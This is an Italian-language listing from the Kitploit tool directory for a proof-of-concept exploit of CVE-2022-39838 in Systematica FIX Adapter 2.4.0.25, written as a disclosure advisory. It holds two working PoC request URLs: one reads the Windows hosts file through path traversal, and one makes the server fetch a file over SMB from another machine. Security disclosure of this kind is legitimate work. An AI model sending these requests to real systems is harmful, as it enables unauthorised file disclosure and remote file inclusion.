Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-39838 — Exploit proof-of-concept per CVE-2022-39838 che dimostra l'inclusione remota di file e l'attraversamento assoluto di percorso in Systematica FIX Adapter (ALFAFX) 2.4.0.25 tramite richieste HTTP. | Kitploit
Strumenti/GitHubGitHub/jet-pentest/cve-2022-39838
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubjet-pentest/cve-2022-39838

CVE-2022-39838

Exploit proof-of-concept per CVE-2022-39838 che dimostra l'inclusione remota di file e l'attraversamento assoluto di percorso in Systematica FIX Adapter (ALFAFX) 2.4.0.25 tramite richieste HTTP.

Vedi Repository
154 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-39838

[Descrizione suggerita]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 consente l'inclusione remota di file tramite un percorso UNC e anche il path traversal assoluto a percorsi locali.

[Informazioni aggiuntive]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[Tipo di vulnerabilità]

Controllo di accesso errato

[Vendor del prodotto]

Systematica

[Base del prodotto affetto]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)

[Tipo di attacco]

Remoto

[Impatto divulgazione di informazioni]

true

[Vettori di attacco]

Un utente remoto può accedere a file arbitrari nel sistema operativo tramite path assoluto. Inoltre, un utente remoto può costringere il server vulnerabile a richiedere file da un'altra macchina tramite SMB.

[Scopritore]

Ivashchenko Sergey (Jet Infosystems, jet.su)

[Riferimento]

http://systematicalpha.com/company

Scarica lo strumento